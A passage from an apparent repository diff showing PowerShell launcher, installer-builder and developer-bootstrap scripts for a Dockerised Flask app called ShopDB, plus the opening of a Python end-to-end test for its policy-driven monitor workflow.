$ErrorActionPreference = 'Continue'
try { $probe = git -C $Target rev-parse --is-inside-work-tree 2>&1 } catch { $probe = "$_" }
finally { $ErrorActionPreference = $previous }
if ($probe -match 'dubious ownership') {
# Same rule as above: a .git directory proves this is a clone, but
# not that it is OUR clone, and re-cloning discards whatever is in
# it. Only reclaim one this launcher created.
if (Test-Path (Join-Path $Target $script:CloneMarker)) {
Write-Host "==> Removing clone with mismatched ownership at $Target (was it created from an elevated prompt?)" -ForegroundColor Cyan
Remove-Item -Path $Target -Recurse -Force
}
else {
throw ("The git clone at $Target has mismatched ownership and " +
'was not created by this launcher, so it is not being ' +
'deleted. Remove it yourself, or pass -TargetDir elsewhere.')
}
}
}
}
# Plain https URL. No token in the URL: Git Credential Manager injects the
# stored GitHub credential for github.com, so clone/fetch authenticate against
# the private repo without anything sensitive touching this script or disk.
$repoUrl = 'https://github.com/ge-aero/shopdb-flask.git'
# Written into a clone this launcher made, so a later run can tell its own
# working directory apart from one that happens to sit at the same path.
$script:CloneMarker = '.shopdb-launcher'
# Channels follow how this repo ships: a release is a TAG, the trunk is main.
# Upstream this read 'dev-be' for edge, which is that repo's trunk branch and
# does not exist here - the launcher would have cloned a missing branch.
$branch = 'main'
if ($Channel -ne 'edge') {
# Newest release tag, so 'stable' means a thing that was released rather
# than whatever the trunk happens to be today.
$tag = (git ls-remote --tags --refs --sort='-v:refname' $repoUrl 'v*' |
Select-Object -First 1) -replace '.*refs/tags/', ''
if ($tag) { $branch = $tag }
else { Write-Warning "No v* tag found; falling back to main for 'stable'." }
}
$target = if ($TargetDir) { $TargetDir } else { Join-Path $env:USERPROFILE 'shopdb-dev' }
Write-Host "ShopDB dev launcher" -ForegroundColor White
Write-Host " Channel : $Channel ($branch)" -ForegroundColor White
Write-Host " Target : $target" -ForegroundColor White
if (-not (Get-Command git -ErrorAction SilentlyContinue)) {
throw 'git is required. Install Git for Windows (winget install Git.Git) and re-run.'
}
$project = if ($Channel -eq 'edge') { 'shopdb-edge' } else { 'shopdb-stable' }
Clear-InterruptedRun -Project $project -Target $target
if (Test-Path (Join-Path $target '.git')) {
Write-Host "==> Updating existing clone" -ForegroundColor Cyan
git -C $target fetch origin $branch
if ($LASTEXITCODE -ne 0) { throw "git fetch failed ($LASTEXITCODE). If this is an auth error, clone the repo once in Visual Studio / VS Code so Credential Manager stores your GitHub login." }
git -C $target checkout $branch
if ($LASTEXITCODE -ne 0) { throw "git checkout failed ($LASTEXITCODE)." }
git -C $target pull --ff-only origin $branch
if ($LASTEXITCODE -ne 0) { throw "git pull failed ($LASTEXITCODE)." }
} else {
Write-Host "==> Cloning $branch" -ForegroundColor Cyan
git clone --branch $branch $repoUrl $target
if ($LASTEXITCODE -ne 0) { throw "git clone failed ($LASTEXITCODE). If this is an auth error, sign in to GitHub once in Visual Studio / VS Code (or run 'git clone $repoUrl' manually) so Credential Manager stores your login, then re-run." }
}
$bootstrap = Join-Path $target 'scripts\dev-bootstrap.ps1'
if (-not (Test-Path $bootstrap)) {
throw "dev-bootstrap.ps1 not found at $bootstrap. Is the '$branch' branch correct?"
}
Write-Host "==> Handing off to dev-bootstrap.ps1" -ForegroundColor Cyan
& $bootstrap -Channel $Channel

View File

@@ -0,0 +1,377 @@
<#
.SYNOPSIS
Build a channel-aware ShopDB distributable installer (stable or edge).
.DESCRIPTION
Produces ONE self-contained installer package for the requested channel:
stable -> built from 'main', no DEV badge (SHOPDB_ENV_LABEL empty).
edge -> built from 'main' (the trunk), red DEV badge (SHOPDB_ENV_LABEL=DEV).
This is the distributable counterpart to scripts/dev-bootstrap.ps1 (which
stands a dev box up FROM the repo). Here the operator has no repo: the script
builds the app image from the channel branch on a connected build box, saves
it plus MySQL into a loadable tarball (reusing the exact bundle mechanics of
build-offline-bundle.ps1), and drops a runnable package:
dist/shopdb-<channel>-<version>/
shopdb-stack-<version>.tar.gz # docker load input
shopdb-stack-<version>.tar.gz.sha256
docker-compose.airgap.yml # image-only run template
docker-compose.channel.yml # SHOPDB_ENV_LABEL overlay
.env # channel-filled, secrets as CHANGE_ME_* sentinels
Install-ShopDB.ps1 # site-side one-command installer
README.txt
Keeping stable and edge as ONE parameterized builder (not two scripts) is the
same anti-drift decision as the config-driven badge: the channels differ only
by branch, image tag, and label - all data, not code.
.PARAMETER Channel
'stable' (the newest release tag) or 'edge' (main, the trunk). Required.
.PARAMETER Version
Image tag / bundle version. Defaults to a channel-prefixed date stamp so two
channels built the same day never collide (e.g. 'stable-2024.06.01').
.PARAMETER Ref
Override the git ref to build. Defaults to the newest v* tag for stable, 'main' for
edge. Lets a release engineer cut an installer from a tag or fix branch.
.PARAMETER MysqlImage
MySQL image the stack runs (default mysql:8.4). Must match db.image in
docker-compose.airgap.yml.
.PARAMETER OutDir
Root for the generated package (default ./dist).
.PARAMETER SkipBuild
Reuse an already-built shopdb-flask:<Version> image; only save + package.
.EXAMPLE
pwsh scripts/build-channel-installer.ps1 -Channel stable
.EXAMPLE
pwsh scripts/build-channel-installer.ps1 -Channel edge -Version edge-preview3
.NOTES
ASCII only, no emoji or smart punctuation, per repo style. PowerShell 5.1+.
Requires Docker Desktop and (unless -SkipBuild) clean access to build the
image. Secrets ship as CHANGE_ME_* placeholders and the generated installer
refuses to start until they are rotated, so a package can never go live on
shipped credentials.
#>
[CmdletBinding()]
param(
[Parameter(Mandatory)]
[ValidateSet('stable', 'edge')]
[string]$Channel,
[string]$Version,
[string]$Ref,
[string]$MysqlImage = 'mysql:8.4',
[string]$OutDir = 'dist',
[switch]$SkipBuild
)
$ErrorActionPreference = 'Stop'
# Channel -> (ref, badge label). The single source of channel truth, mirrored
# from dev-bootstrap.ps1 so the two entry points never disagree about what a
# channel means.
#
# stable has NO fixed ref: a release here is a tag, not a branch, so it is
# resolved below from the newest v* tag. Writing 'main' here would build the
# trunk and hand it to a site under a word that promises a release - the same
# mislabel this repo's channel mapping was corrected for, missed in this file
# the first time round.
$channels = @{
stable = @{ Ref = $null; EnvLabel = '' }
edge = @{ Ref = 'main'; EnvLabel = 'DEV' }
}
function Resolve-StableRef {
# Newest release tag by version sort. Falls back to main with a warning
# rather than silently building something and calling it stable.
$tag = (git tag --list 'v*' --sort='-v:refname' | Select-Object -First 1)
if ($tag) { return $tag }
Write-Warning 'No v* tag in this repo; building stable from main.'
return 'main'
}
function Assert-LastExit([string]$What) {
if ($LASTEXITCODE -ne 0) { throw "$What failed (exit $LASTEXITCODE)" }
}
if (-not (Get-Command docker -ErrorAction SilentlyContinue)) {
throw 'docker not found on PATH. Install Docker Desktop and retry.'
}
if (-not (Get-Command git -ErrorAction SilentlyContinue)) {
throw 'git not found on PATH. Install Git and retry.'
}
$config = $channels[$Channel]
# An explicit -Ref always wins. Otherwise the channel decides: edge is the
# trunk, stable resolves the newest release tag.
$branch = if ($Ref) { $Ref }
elseif ($config.Ref) { $config.Ref }
else { Resolve-StableRef }
if (-not $Version) { $Version = "$Channel-$(Get-Date -Format 'yyyy.MM.dd')" }
$appImage = "shopdb-flask:$Version"
$repoRoot = (Resolve-Path (Join-Path $PSScriptRoot '..')).Path
Write-Host "ShopDB channel installer builder" -ForegroundColor White
Write-Host " Channel : $Channel" -ForegroundColor White
Write-Host " Branch : $branch" -ForegroundColor White
Write-Host " Version : $Version" -ForegroundColor White
Write-Host " Label : $(if ($config.EnvLabel) { $config.EnvLabel } else { '(none)' })" -ForegroundColor White
Push-Location $repoRoot
try {
# --- 1. Build the image from the channel branch --------------------------
if (-not $SkipBuild) {
# Build from the channel branch WITHOUT switching the operator's working
# tree: create a throwaway worktree at the ref, build there, remove it.
# This keeps a release build reproducible and side-effect-free even when
# the operator has local edits checked out.
$worktree = Join-Path ([System.IO.Path]::GetTempPath()) "shopdb-build-$Version"
Write-Host "==> Fetching origin/$branch" -ForegroundColor Cyan
git fetch origin $branch
Assert-LastExit 'git fetch'
if (Test-Path $worktree) {
git worktree remove --force $worktree 2>$null
Remove-Item $worktree -Recurse -Force -ErrorAction SilentlyContinue
}
Write-Host "==> Adding build worktree at $worktree" -ForegroundColor Cyan
git worktree add --detach $worktree "origin/$branch"
Assert-LastExit 'git worktree add'
try {
Write-Host "==> Building $appImage from $branch" -ForegroundColor Cyan
docker build -t $appImage $worktree
Assert-LastExit 'docker build'
} finally {
Write-Host "==> Removing build worktree" -ForegroundColor Cyan
git worktree remove --force $worktree 2>$null
Remove-Item $worktree -Recurse -Force -ErrorAction SilentlyContinue
}
} else {
Write-Host "==> Skipping build; reusing $appImage" -ForegroundColor Yellow
}
Write-Host "==> Pulling $MysqlImage" -ForegroundColor Cyan
docker pull $MysqlImage
Assert-LastExit 'docker pull'
# --- 2. Save image bundle into the package dir ---------------------------
$pkgName = "shopdb-$Channel-$Version"
$pkgDir = Join-Path $OutDir $pkgName
if (Test-Path $pkgDir) { Remove-Item $pkgDir -Recurse -Force }
New-Item -ItemType Directory -Path $pkgDir -Force | Out-Null
$stem = "shopdb-stack-$Version"
$tar = Join-Path $pkgDir "$stem.tar"
$gz = Join-Path $pkgDir "$stem.tar.gz"
Write-Host "==> Saving $appImage + $MysqlImage" -ForegroundColor Cyan
docker save -o $tar $appImage $MysqlImage
Assert-LastExit 'docker save'
Write-Host "==> Compressing to $gz" -ForegroundColor Cyan
$inStream = [System.IO.File]::OpenRead($tar)
$outStream = [System.IO.File]::Create($gz)
$gzip = New-Object System.IO.Compression.GzipStream($outStream, [System.IO.Compression.CompressionMode]::Compress)
try {
$inStream.CopyTo($gzip)
} finally {
$gzip.Dispose(); $outStream.Dispose(); $inStream.Dispose()
}
Remove-Item $tar
$hash = (Get-FileHash $gz -Algorithm SHA256).Hash.ToLower()
"$hash $stem.tar.gz" | Set-Content -Path "$gz.sha256" -NoNewline
# --- 3. Copy the run templates into the package -------------------------
Copy-Item (Join-Path $repoRoot 'docker-compose.airgap.yml') $pkgDir
Copy-Item (Join-Path $repoRoot 'docker-compose.channel.yml') $pkgDir
# --- 4. Channel-filled .env ---------------------------------------------
# Secrets ship as explicit CHANGE_ME_* sentinels, NOT generated values. The
# site-side installer refuses to start until every sentinel is replaced, so a
# distributable can never silently go live on shipped credentials. Ports,
# image tag, and the channel label are real because they are not secrets.
$apiPort = if ($Channel -eq 'edge') { 5011 } else { 5001 }
$mysqlPort = if ($Channel -eq 'edge') { 3316 } else { 3306 }
$envLines = @(
"# ShopDB $Channel installer .env (built $(Get-Date -Format s)).",
"# REQUIRED: replace every CHANGE_ME_* value below before installing.",
"# Generate strong secrets, e.g.:",
"# python -c ""import secrets; print(secrets.token_urlsafe(64))""",
"FLASK_APP=wsgi.py",
"FLASK_ENV=production",
"SECRET_KEY=CHANGE_ME_SECRET_KEY",
"JWT_SECRET_KEY=CHANGE_ME_JWT_SECRET_KEY",
"DATABASE_URL=mysql+pymysql://shopdb:CHANGE_ME_DB_PASSWORD@db:3306/shopdb_flask?charset=utf8mb4",
"CORS_ORIGINS=https://localhost:$apiPort",
"LOG_LEVEL=INFO",
"MYSQL_ROOT_PASSWORD=CHANGE_ME_ROOT_PASSWORD",
"MYSQL_PASSWORD=CHANGE_ME_DB_PASSWORD",
"MYSQL_PORT=$mysqlPort",
"API_PORT=$apiPort",
"IMAGE_TAG=$Version",
"SHOPDB_ENV_LABEL=$($config.EnvLabel)"
)
Set-Content -Path (Join-Path $pkgDir '.env') -Value $envLines -Encoding ASCII
# --- 5. Site-side installer script --------------------------------------
# One command at the site: verify checksum, load the image, bring the stack
# up with the airgap template + channel overlay. Mirrors the run steps in
# docs/DEPLOY-AIRGAP.md but wraps them so an operator runs a single file.
$installer = @'
<#
.SYNOPSIS
Install / start this ShopDB stack on the target host (one command).
.DESCRIPTION
Verifies the image-bundle checksum, docker-loads it, and brings the stack up
from the bundled compose templates and .env. Re-runnable: on later runs it
skips the load if the image is already present and just applies the compose.
#>
[CmdletBinding()]
param([switch]$Recreate)
$ErrorActionPreference = 'Stop'
Set-Location $PSScriptRoot
if (-not (Get-Command docker -ErrorAction SilentlyContinue)) {
throw 'docker not found. Install Docker Desktop / Engine and retry.'
}
$bundle = Get-ChildItem -Filter 'shopdb-stack-*.tar.gz' | Select-Object -First 1
if (-not $bundle) { throw 'No shopdb-stack-*.tar.gz found next to this script.' }
# Refuse to start on shipped placeholder secrets. A distributable must never go
# live on credentials that ship in the box; the operator has to rotate every
# CHANGE_ME_* in .env first. This is a hard gate, not a warning.
$sentinels = Select-String -Path '.env' -Pattern 'CHANGE_ME_' -SimpleMatch
if ($sentinels) {
Write-Host 'Refusing to start: .env still has placeholder secrets.' -ForegroundColor Red
Write-Host 'Replace every CHANGE_ME_* value with a real secret, then re-run:'
foreach ($line in $sentinels) { Write-Host " $($line.Line)" -ForegroundColor Yellow }
Write-Host ''
Write-Host 'Generate strong values, e.g.:'
Write-Host ' python -c "import secrets; print(secrets.token_urlsafe(64))"'
throw 'Placeholder secrets present in .env.'
}
$sumFile = "$($bundle.Name).sha256"
if (Test-Path $sumFile) {
Write-Host "==> Verifying $($bundle.Name) checksum" -ForegroundColor Cyan
$expected = ((Get-Content $sumFile -Raw).Trim() -split '\s+')[0].ToLower()
$actual = (Get-FileHash $bundle.FullName -Algorithm SHA256).Hash.ToLower()
if ($expected -ne $actual) { throw "Checksum mismatch. Expected $expected, got $actual." }
Write-Host " OK" -ForegroundColor Green
} else {
Write-Host "==> No checksum file; skipping verification" -ForegroundColor Yellow
}
Write-Host "==> Loading image bundle" -ForegroundColor Cyan
docker load -i $bundle.FullName
if ($LASTEXITCODE -ne 0) { throw "docker load failed ($LASTEXITCODE)." }
# -p is NOT optional here. Without it compose names the project after the
# containing folder, which is shopdb-<channel>-<version> - so installing the
# next version creates a NEW project with new empty named volumes, and the site
# comes up looking wiped. The old data is still there under the old project's
# volumes, but nothing carries it across. Pin the project to the channel so an
# upgrade lands on the same volumes.
$composeArgs = @(
'compose', '--env-file', '.env',
'-p', 'shopdb-__CHANNEL__',
'-f', 'docker-compose.airgap.yml',
'-f', 'docker-compose.channel.yml'
)
if ($Recreate) { $composeArgs += @('up', '-d', '--force-recreate') }
else { $composeArgs += @('up', '-d') }
Write-Host "==> Starting the stack" -ForegroundColor Cyan
& docker @composeArgs
if ($LASTEXITCODE -ne 0) { throw "docker compose up failed ($LASTEXITCODE)." }
$apiPort = (Select-String -Path '.env' -Pattern '^API_PORT=(.+)$').Matches.Groups[1].Value
Write-Host ''
Write-Host "ShopDB is up: https://localhost:$apiPort" -ForegroundColor Green
Write-Host "Seed the first admin (once):"
Write-Host " docker compose --env-file .env -f docker-compose.airgap.yml exec api flask seed admin <user> <email> <password>"
'@
# The here-string above is single-quoted so nothing in it interpolates - that
# is deliberate, the installer is full of $ that must survive verbatim. The
# compose project name is the one value that has to be baked per channel, so
# substitute it here rather than switching the whole block to interpolation.
$installer = $installer.Replace('__CHANNEL__', $Channel)
Set-Content -Path (Join-Path $pkgDir 'Install-ShopDB.ps1') -Value $installer -Encoding ASCII
# --- 6. README ----------------------------------------------------------
$badgeLine = if ($config.EnvLabel) {
"This is the EDGE (bleeding-edge) build from '$branch'. The sidebar shows a red '$($config.EnvLabel)' badge."
} else {
"This is the STABLE build from '$branch'. No DEV badge."
}
$readme = @(
"ShopDB $Channel installer ($Version)",
"==================================================",
"",
$badgeLine,
"",
"Contents:",
" shopdb-stack-$Version.tar.gz Docker image bundle (app + MySQL)",
" shopdb-stack-$Version.tar.gz.sha256 Checksum for the bundle",
" docker-compose.airgap.yml Image-only run template",
" docker-compose.channel.yml Channel label overlay",
" .env Pre-filled config (ROTATE SECRETS)",
" Install-ShopDB.ps1 One-command installer",
"",
"Install (Windows, from this folder):",
" 1. Edit .env: replace every CHANGE_ME_* value with a real secret.",
" 2. powershell -ExecutionPolicy Bypass -File .\Install-ShopDB.ps1",
"",
"The installer REFUSES to start while any CHANGE_ME_* placeholder remains,",
"so the stack can never come up on shipped credentials.",
"",
"The API listens on https://localhost:$apiPort (self-signed cert on first",
"run). Adjust the port or CORS origins in .env if needed. Both channels can",
"run on one host at once because stable and edge use different ports and",
"compose project state.",
"",
"Generate strong secrets with:",
" python -c ""import secrets; print(secrets.token_urlsafe(64))"""
)
Set-Content -Path (Join-Path $pkgDir 'README.txt') -Value $readme -Encoding ASCII
# --- 7. Summary ---------------------------------------------------------
$sizeMb = [math]::Round((Get-Item $gz).Length / 1MB, 1)
Write-Host ''
Write-Host "Installer package ready:" -ForegroundColor Green
Write-Host " $pkgDir"
Write-Host " bundle : $stem.tar.gz ($sizeMb MB)"
Write-Host " sha256 : $hash"
Write-Host " label : $(if ($config.EnvLabel) { $config.EnvLabel } else { '(none, stable)' })"
Write-Host ''
Write-Host "Ship the folder; the operator runs Install-ShopDB.ps1."
}
finally {
Pop-Location
}

View File

@@ -21,6 +21,8 @@ VIOLATIONS=0
EXCLUDES=(
--exclude-dir=venv
--exclude-dir=env
--exclude-dir=.venv
--exclude-dir=node_modules
--exclude-dir=__pycache__
--exclude-dir=dist

354
scripts/dev-bootstrap.ps1 Normal file
View File

@@ -0,0 +1,354 @@
<#
.SYNOPSIS
Turnkey ShopDB developer-workstation bootstrap for Windows.
.DESCRIPTION
Stands up a ShopDB stack from a git branch on a fresh dev box with as few
manual steps as possible:
1. Checks the tools a dev needs (git, Docker) and offers to install any
that are missing via winget (with a prompt - nothing is installed
silently). Python is optional and only checked when -CheckPython is
passed, because the app itself runs entirely in the container.
2. Picks a channel:
stable -> pulls the 'stable' image (built from main), no DEV badge.
edge -> pulls the 'edge' image (built from main), red DEV badge.
The two channels use different compose project names, host ports, and
named volumes, so they run side by side without colliding.
3. Generates a .env for the channel (dev-grade secrets, NOT for production)
if one does not already exist, then PULLS the prebuilt channel image
from GHCR and brings up the stack. Nothing is built on the host: the
image is produced by CI, so a pilot needs only Docker (no Node/npm and
no source compile behind the corporate proxy).
Windows-only by design: pre-release audience is Windows. Not a production
installer - see deploy/windows/installer/shopdb-install.ps1 for that.
.PARAMETER Channel
'stable' (the newest release tag) or 'edge' (main, the trunk). Defaults to 'stable'.
.PARAMETER Ref
Override the git ref to build. Defaults to the newest v* tag for stable, 'main' for
edge. Retained for compatibility; the pull flow selects the image by channel
tag, so this now only affects which branch the working tree is prepared on.
.PARAMETER CheckPython
Also verify a local Python 3.11+ (only needed if you run tests/tooling on
the host rather than in the container).
.PARAMETER SkipDependencyInstall
Report missing dependencies and stop instead of offering winget installs.
Handy for CI-style dry runs.
.EXAMPLE
./scripts/dev-bootstrap.ps1 -Channel edge
.NOTES
ASCII only, no emoji or smart punctuation, per repo style. PowerShell 5.1+.
#>
[CmdletBinding()]
param(
[ValidateSet('stable', 'edge')]
[string]$Channel = 'stable',
[string]$Ref,
[switch]$CheckPython,
[switch]$SkipDependencyInstall
)
Set-StrictMode -Version Latest
$ErrorActionPreference = 'Stop'
# Channel -> (branch, compose project, host ports, badge label). Kept in one
# table so adding a channel later is a single edit. Ports are offset for edge so
# both stacks bind distinct host ports; the container-internal ports never move.
$channels = @{
stable = @{
Ref = 'main'
Project = 'shopdb-stable'
ApiPort = 5001
MysqlPort = 3306
EnvLabel = ''
ImageTag = 'stable'
}
edge = @{
Ref = 'main'
Project = 'shopdb-edge'
ApiPort = 5011
MysqlPort = 3316
EnvLabel = 'DEV'
ImageTag = 'edge'
}
}
# GHCR repository that CI (.github/workflows/publish-images.yml) publishes the
# per-channel images to. Pilots PULL this instead of building from source,
# because building behind an inspecting proxy is unreliable.
$imageRepo = 'ghcr.io/ge-aero/shopdb-flask'
function Write-Step {
param([string]$Message)
Write-Host ''
Write-Host "==> $Message" -ForegroundColor Cyan
}
function Write-Ok {
param([string]$Message)
Write-Host " OK: $Message" -ForegroundColor Green
}
function Write-Warn {
param([string]$Message)
Write-Host " WARN: $Message" -ForegroundColor Yellow
}
function Test-Command {
param([string]$Name)
return [bool](Get-Command $Name -ErrorAction SilentlyContinue)
}
# Detect a corporate TLS-inspection root CA (e.g. Zscaler) by inspecting the
# certificate chain the host uses to reach the npm registry, then stage it as
# corp-root-ca.pem in the build context so the Docker frontend build can trust
# it. On a clean network this simply stages a public root, which is harmless.
# Writes nothing and returns quietly when detection is not possible.
function Set-CorpRootCa {
param(
[Parameter(Mandatory)][string]$RepoRoot
)
$certPath = Join-Path $RepoRoot 'corp-root-ca.pem'
try {
$request = [System.Net.HttpWebRequest]::Create('https://registry.npmjs.org/')
$request.Method = 'HEAD'
$request.Timeout = 10000
try { $response = $request.GetResponse(); $response.Close() } catch { }
$cert = $request.ServicePoint.Certificate
if (-not $cert) {
Write-Warn 'Could not read the TLS certificate chain; skipping corp CA staging.'
return
}
$chain = New-Object System.Security.Cryptography.X509Certificates.X509Chain
$chain.ChainPolicy.RevocationMode = 'NoCheck'
$cert2 = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2($cert)
[void]$chain.Build($cert2)
$root = $chain.ChainElements[$chain.ChainElements.Count - 1].Certificate
$issuer = $root.Subject
$builder = New-Object System.Text.StringBuilder
[void]$builder.AppendLine('-----BEGIN CERTIFICATE-----')
[void]$builder.AppendLine([System.Convert]::ToBase64String($root.RawData, 'InsertLineBreaks'))
[void]$builder.AppendLine('-----END CERTIFICATE-----')
Set-Content -Path $certPath -Value $builder.ToString() -Encoding ASCII
Write-Ok "Staged corp-root-ca.pem from root CA: $issuer"
}
catch {
Write-Warn "Corp CA detection failed ($($_.Exception.Message)); continuing without it."
}
}
# Confirm a dependency, offering a winget install when it is missing. Returns
# $true when the dependency is present (or was just installed), $false when the
# dev declined or install failed.
function Confirm-Dependency {
param(
[Parameter(Mandatory)][string]$Command,
[Parameter(Mandatory)][string]$DisplayName,
[Parameter(Mandatory)][string]$WingetId,
[string]$PostInstallNote
)
if (Test-Command $Command) {
Write-Ok "$DisplayName found."
return $true
}
Write-Warn "$DisplayName not found (command '$Command')."
if ($SkipDependencyInstall) {
Write-Warn "Skipping install (-SkipDependencyInstall). Install '$WingetId' manually."
return $false
}
if (-not (Test-Command 'winget')) {
Write-Warn "winget is unavailable, so $DisplayName cannot be auto-installed."
Write-Warn "Install it from the Microsoft Store / App Installer, then re-run."
return $false
}
$answer = Read-Host " Install $DisplayName now via winget ($WingetId)? [y/N]"
if ($answer -notmatch '^(y|yes)$') {
Write-Warn "Skipped $DisplayName. It is required; re-run once it is installed."
return $false
}
Write-Host " Running: winget install --id $WingetId" -ForegroundColor DarkGray
winget install --id $WingetId --exact --accept-source-agreements --accept-package-agreements
if ($LASTEXITCODE -ne 0) {
Write-Warn "winget exited $LASTEXITCODE installing $DisplayName."
return $false
}
if ($PostInstallNote) { Write-Warn $PostInstallNote }
# winget updates the machine PATH, but this session will not see it until
# relaunch, so re-probe rather than claim success outright.
return (Test-Command $Command)
}
# Docker being installed is not the same as the engine running. A stopped
# Docker Desktop passes the command check but fails every compose call.
function Test-DockerEngine {
try {
docker info --format '{{.ServerVersion}}' 2>$null | Out-Null
return ($LASTEXITCODE -eq 0)
} catch {
return $false
}
}
# --- Resolve paths and channel -------------------------------------------------
$repoRoot = Split-Path -Parent $PSScriptRoot
$config = $channels[$Channel]
$branch = if ($Ref) { $Ref } else { $config.Ref }
Write-Host "ShopDB dev bootstrap" -ForegroundColor White
Write-Host " Channel : $Channel" -ForegroundColor White
Write-Host " Branch : $branch" -ForegroundColor White
Write-Host " Project : $($config.Project)" -ForegroundColor White
Write-Host " Repo : $repoRoot" -ForegroundColor White
# --- 1. Dependencies -----------------------------------------------------------
Write-Step 'Checking developer dependencies'
$allPresent = $true
$allPresent = (Confirm-Dependency -Command 'git' -DisplayName 'Git' -WingetId 'Git.Git') -and $allPresent
$allPresent = (Confirm-Dependency -Command 'docker' -DisplayName 'Docker Desktop' -WingetId 'Docker.DockerDesktop' `
-PostInstallNote 'Docker Desktop needs a sign-out/restart and must be started once before use.') -and $allPresent
if ($CheckPython) {
$allPresent = (Confirm-Dependency -Command 'python' -DisplayName 'Python 3.11+' -WingetId 'Python.Python.3.11') -and $allPresent
}
if (-not $allPresent) {
throw 'One or more required dependencies are missing. Resolve the warnings above and re-run.'
}
Write-Step 'Checking the Docker engine is running'
if (-not (Test-DockerEngine)) {
throw 'Docker is installed but the engine is not responding. Start Docker Desktop and re-run.'
}
Write-Ok 'Docker engine is responding.'
# --- 2. Check out the channel branch ------------------------------------------
Write-Step "Preparing the '$branch' branch"
Push-Location $repoRoot
try {
$dirty = git status --porcelain
if ($dirty) {
Write-Warn 'Working tree has uncommitted changes; leaving the current branch as-is.'
Write-Warn "Building from the checked-out tree instead of switching to '$branch'."
} else {
git fetch origin $branch
git checkout $branch
git pull --ff-only origin $branch
Write-Ok "On '$branch', up to date with origin."
}
# --- 3. Channel .env ------------------------------------------------------
Write-Step 'Ensuring a channel .env exists'
$envPath = Join-Path $repoRoot ".env.$($config.Project)"
if (Test-Path $envPath) {
Write-Ok "Reusing existing $([System.IO.Path]::GetFileName($envPath))."
# A .env written before the pull-based flow existed will not carry a
# SHOPDB_IMAGE line, and the pull compose file requires it. Top it up in
# place rather than force the pilot to delete and re-key the file.
$image = "$imageRepo`:$($config.ImageTag)"
$envText = Get-Content -Path $envPath
if (-not ($envText | Where-Object { $_ -match '^SHOPDB_IMAGE=' })) {
Add-Content -Path $envPath -Value "SHOPDB_IMAGE=$image" -Encoding ASCII
Write-Ok "Added SHOPDB_IMAGE=$image to the existing .env."
}
} else {
# Dev-grade secrets: generated locally, never for production. A real
# deploy fills .env from the wiki runbook, not from this script.
#
# Get-Random is System.Random: a 32-bit seed, and all four values came
# off one stream, so recovering the seed from any one of them recovers
# the other three. These sign JWTs for a stack a pilot may point at a
# real imported dataset, so they come from the CSPRNG instead. "Dev
# grade" is about rotation and provenance, not about being guessable.
$secret = [Convert]::ToBase64String(
[System.Security.Cryptography.RandomNumberGenerator]::GetBytes(48))
$jwt = [Convert]::ToBase64String(
[System.Security.Cryptography.RandomNumberGenerator]::GetBytes(48))
$dbPass = ([Convert]::ToBase64String(
[System.Security.Cryptography.RandomNumberGenerator]::GetBytes(18))) -replace '[^A-Za-z0-9]', 'x'
$rootPass = ([Convert]::ToBase64String(
[System.Security.Cryptography.RandomNumberGenerator]::GetBytes(18))) -replace '[^A-Za-z0-9]', 'x'
$apiPort = $config.ApiPort
$mysqlPort = $config.MysqlPort
$image = "$imageRepo`:$($config.ImageTag)"
$lines = @(
"# Auto-generated by scripts/dev-bootstrap.ps1 for the $Channel channel.",
"# DEV-GRADE ONLY. Do not reuse these secrets for a production site.",
"FLASK_APP=wsgi.py",
"FLASK_ENV=production",
"SECRET_KEY=$secret",
"JWT_SECRET_KEY=$jwt",
"DATABASE_URL=mysql+pymysql://shopdb:$dbPass@db:3306/shopdb_flask?charset=utf8mb4",
"CORS_ORIGINS=https://localhost:$apiPort",
"LOG_LEVEL=INFO",
"MYSQL_ROOT_PASSWORD=$rootPass",
"MYSQL_PASSWORD=$dbPass",
"MYSQL_PORT=$mysqlPort",
"API_PORT=$apiPort",
"SHOPDB_IMAGE=$image",
"SHOPDB_ENV_LABEL=$($config.EnvLabel)"
)
Set-Content -Path $envPath -Value $lines -Encoding ASCII
Write-Ok "Wrote $([System.IO.Path]::GetFileName($envPath)) (API on $apiPort, MySQL on $mysqlPort)."
}
# --- 4. Pull and start ----------------------------------------------------
# No local build: the image is produced by CI and published to GHCR (see
# .github/workflows/publish-images.yml). Pilots may have only Docker
# installed, and building the frontend from source behind an inspecting
# proxy is unreliable, so we pull the finished channel image instead.
Write-Step "Pulling and starting the '$($config.Project)' stack"
$composeArgs = @(
'compose',
'-p', $config.Project,
'--env-file', $envPath,
'-f', 'docker-compose.pull.yml'
)
& docker @composeArgs pull
if ($LASTEXITCODE -ne 0) { throw "docker compose pull failed ($LASTEXITCODE). If this is an auth error, run: docker login ghcr.io" }
& docker @composeArgs up -d
if ($LASTEXITCODE -ne 0) { throw "docker compose up failed ($LASTEXITCODE)." }
Write-Step 'Done'
Write-Ok "The $Channel stack is up."
Write-Host " UI/API : https://localhost:$($config.ApiPort)" -ForegroundColor White
if ($config.EnvLabel) {
Write-Host " Badge : sidebar shows '$($config.EnvLabel)' (edge channel)." -ForegroundColor White
}
Write-Host " Logs : docker compose -p $($config.Project) logs -f api" -ForegroundColor White
Write-Host " Stop : docker compose -p $($config.Project) down" -ForegroundColor White
} finally {
Pop-Location
}

View File

@@ -0,0 +1,335 @@
"""Live end-to-end simulation for the policy-driven monitor workflow.
Drives the REAL HTTP routes through the Flask app against the LIVE database
(the same one the container serves), exercising the exact flow a user performs
in the browser:
1. Log in as an admin (mint a real JWT).
2. Confirm the monitor catalog lists the four shipped monitors.
3. Create a local process monitor (msedge.exe) via POST /api/endpoints/monitors.
4. Create a Configuration Policy scoped to a PC type, carrying monitor:<id>.
5. Wrap it in an active Business Policy.
6. Create a Computer of that PC type.
7. GET the services panel and assert the monitor surfaces as an Unknown row.
8. Negative + validation probes.
9. Clean up everything created (leaves the DB as found).
Run inside the container:
docker compose exec -T api python scripts/sim_policy_monitor_e2e.py
Exit code 0 = all simulations passed. Non-zero = a failure (printed).
"""
import sys
import uuid
from pathlib import Path
from dotenv import load_dotenv
load_dotenv(Path(__file__).resolve().parent.parent / '.env')
from shopdb import create_app
from shopdb.extensions import db
from shopdb.core.models import User, Role, Asset, AssetType, Setting
from flask_jwt_extended import create_access_token
PASS = "PASS"
FAIL = "FAIL"
class Sim:
def __init__(self):
self.results = []
self.created = {
"monitor_ids": [],
"configpolicy_ids": [],
"businesspolicy_ids": [],
"asset_ids": [],
"computer_ids": [],
"computertype_ids": [],
"setting_created": False,
}
def check(self, name, condition, detail=""):
status = PASS if condition else FAIL
self.results.append((status, name, detail))
marker = "[ OK ]" if condition else "[FAIL]"
line = f"{marker} {name}"
if detail:
line += f" -- {detail}"
print(line, flush=True)
